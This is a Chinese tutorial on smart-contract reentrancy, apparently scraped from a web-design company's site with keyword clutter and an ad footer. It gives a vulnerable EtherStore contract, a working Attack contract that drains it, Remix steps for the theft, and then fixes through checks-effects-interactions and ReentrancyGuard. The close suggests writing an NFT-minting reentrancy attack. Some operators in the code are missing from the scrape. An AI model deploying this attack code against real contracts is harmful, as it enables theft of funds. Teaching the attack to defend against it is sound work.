自动做网页的网站绿色主色调的网站
2026/2/9 16:45:42 网站建设 项目流程
自动做网页的网站,绿色主色调的网站,运营推广培训课程,付费下插件wordpress标签#xff1a; #Web3Security #Solidity #Reentrancy #SmartContract #Blockchain #Audit#x1f3e6; 前言#xff1a;银行柜员的失误 想象一个现实场景#xff1a; 你去银行取钱。 检查#xff1a;柜员查账#xff0c;发现你有 100 元。交互#xff1a;柜员把 100 元…标签#Web3Security #Solidity #Reentrancy #SmartContract #Blockchain #Audit 前言银行柜员的失误想象一个现实场景你去银行取钱。检查柜员查账发现你有 100 元。交互柜员把 100 元现金递给你。生效柜员拿起笔准备在账本上把你账户扣除 100 元。重入攻击就在第 2 步和第 3 步之间发生了。当你接过钱的瞬间第 2 步刚开始第 3 步还没做你大喊一声“嘿我还要取 100 元”柜员因为还没来得及改账本一看账上还是 100 元于是又递给你 100 元。如此循环直到银行金库被你搬空。攻击流程图 (Mermaid):受害者合约 (Bank)攻击者合约受害者合约 (Bank)攻击者合约初始状态: Hacker 存款 1 ETH, Bank 总余额 100 ETH触发 fallback() 函数!⚠️ 余额还没扣除! 依然显示有 1 ETH结果: Hacker 取走 2 ETH (甚至更多), 只扣了 1 次钱1. withdraw(1 ETH)检查余额: Hacker 有 1 ETH (Pass)2. 发送 1 ETH (使用 call)3. 再次调用 withdraw(1 ETH)4. 又发送 1 ETH5. 修改余额 (太晚了!) 一、 漏洞复现受害者合约 (EtherStore)这是一个典型的“先转账后扣款”的错误写法。// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract EtherStore { mapping(address uint256) public balances; // 存钱 function deposit() public payable { balances[msg.sender] msg.value; } // 取钱 (漏洞在这里) function withdraw() public { uint256 bal balances[msg.sender]; require(bal 0, No balance); // ❌ 错误做法先转账 (Interaction) // 使用 call 发送 ETH 会将所有剩余 Gas 转发给接收方允许对方执行复杂逻辑 (bool sent, ) msg.sender.call{value: bal}(); require(sent, Failed to send Ether); // ❌ 错误做法后扣款 (Effect) // 这一行在攻击发生时还没来得及执行 balances[msg.sender] 0; } // 查看金库总余额 function getBalance() public view returns (uint256) { return address(this).balance; } }⚔️ 二、 编写攻击脚本黑客合约 (Attack)黑客合约利用 Solidity 的fallback或receive函数机制。当它收到 ETH 时这些函数会自动触发。// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import ./EtherStore.sol; contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore EtherStore(_etherStoreAddress); } // 1. 回调函数当收到 ETH 时自动触发 fallback() external payable { if (address(etherStore).balance 1 ether) { // 核心攻击逻辑在收到钱的瞬间递归调用 withdraw etherStore.withdraw(); } } // 2. 攻击入口 function attack() external payable { require(msg.value 1 ether, Need 1 ETH to start attack); // 先存 1 ETH 进去获得“入场券” etherStore.deposit{value: 1 ether}(); // 发起第一次提款 etherStore.withdraw(); } // 3. 销赃把偷来的钱转给黑客钱包 function collectEther() external { payable(msg.sender).transfer(address(this).balance); } }️‍♂️ 三、 实战步骤 (Remix)部署 EtherStore部署受害者合约。切换其他账户如 Account 2, Account 3分别deposit10 ETH。此时金库有 20 ETH。部署 Attack切换回黑客账户Account 1。部署 Attack 合约构造函数填入 EtherStore 的地址。发动攻击在 Attack 合约的attack函数中填入1 Ether。点击transact。见证奇迹查看EtherStore的余额变成了0。查看Attack的余额变成了21 ETH本金 1 偷来的 20。现象解释你会发现在那一笔交易中黑客合约像抽水机一样利用那 1 ETH 的本金反复循环调用withdraw直到把受害者合约的余额抽干循环才停止触发fallback中的if判断。️ 四、 防御方案如何修复修复重入攻击主要有两种方法。方案 A检查-生效-交互 (Checks-Effects-Interactions)这是 Solidity 编程的黄金法则。永远先修改状态变量再进行外部调用。function withdraw() public { uint256 bal balances[msg.sender]; require(bal 0); // ✅ 1. Check (已在上面) // ✅ 2. Effect (先扣款) balances[msg.sender] 0; // ✅ 3. Interaction (再转账) (bool sent, ) msg.sender.call{value: bal}(); require(sent, Failed to send Ether); }即使黑客再次重入因为balances[msg.sender]已经被清零require(bal 0)会直接拦截请求。方案 B重入锁 (ReentrancyGuard)使用 OpenZeppelin 提供的修饰符给函数上锁。import openzeppelin/contracts/security/ReentrancyGuard.sol; contract EtherStore is ReentrancyGuard { // 增加 nonReentrant 修饰符 function withdraw() public nonReentrant { uint256 bal balances[msg.sender]; // ... 逻辑 ... } }原理进入函数前将锁置为TRUE执行完置为FALSE。如果你在执行过程中试图再次进入发现锁是TRUE直接报错。 总结重入攻击是 Web3 安全的入门必修课。它警示我们在区块链世界任何外部合约调用Call都是不可信的。作为开发者必须养成**“状态修改前置”**的肌肉记忆或者做一名“复制粘贴工程师”老老实实继承 OpenZeppelin 的ReentrancyGuard。Next Step:现在的攻击是针对ETH转账的。你去研究一下ERC-721 (NFT)的onERC721Received函数或者ERC-1155协议它们同样存在重入风险。尝试写一个针对 NFT 铸造Mint的重入攻击脚本看看能不能一次 Gas 费铸造出 100 个 NFT

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询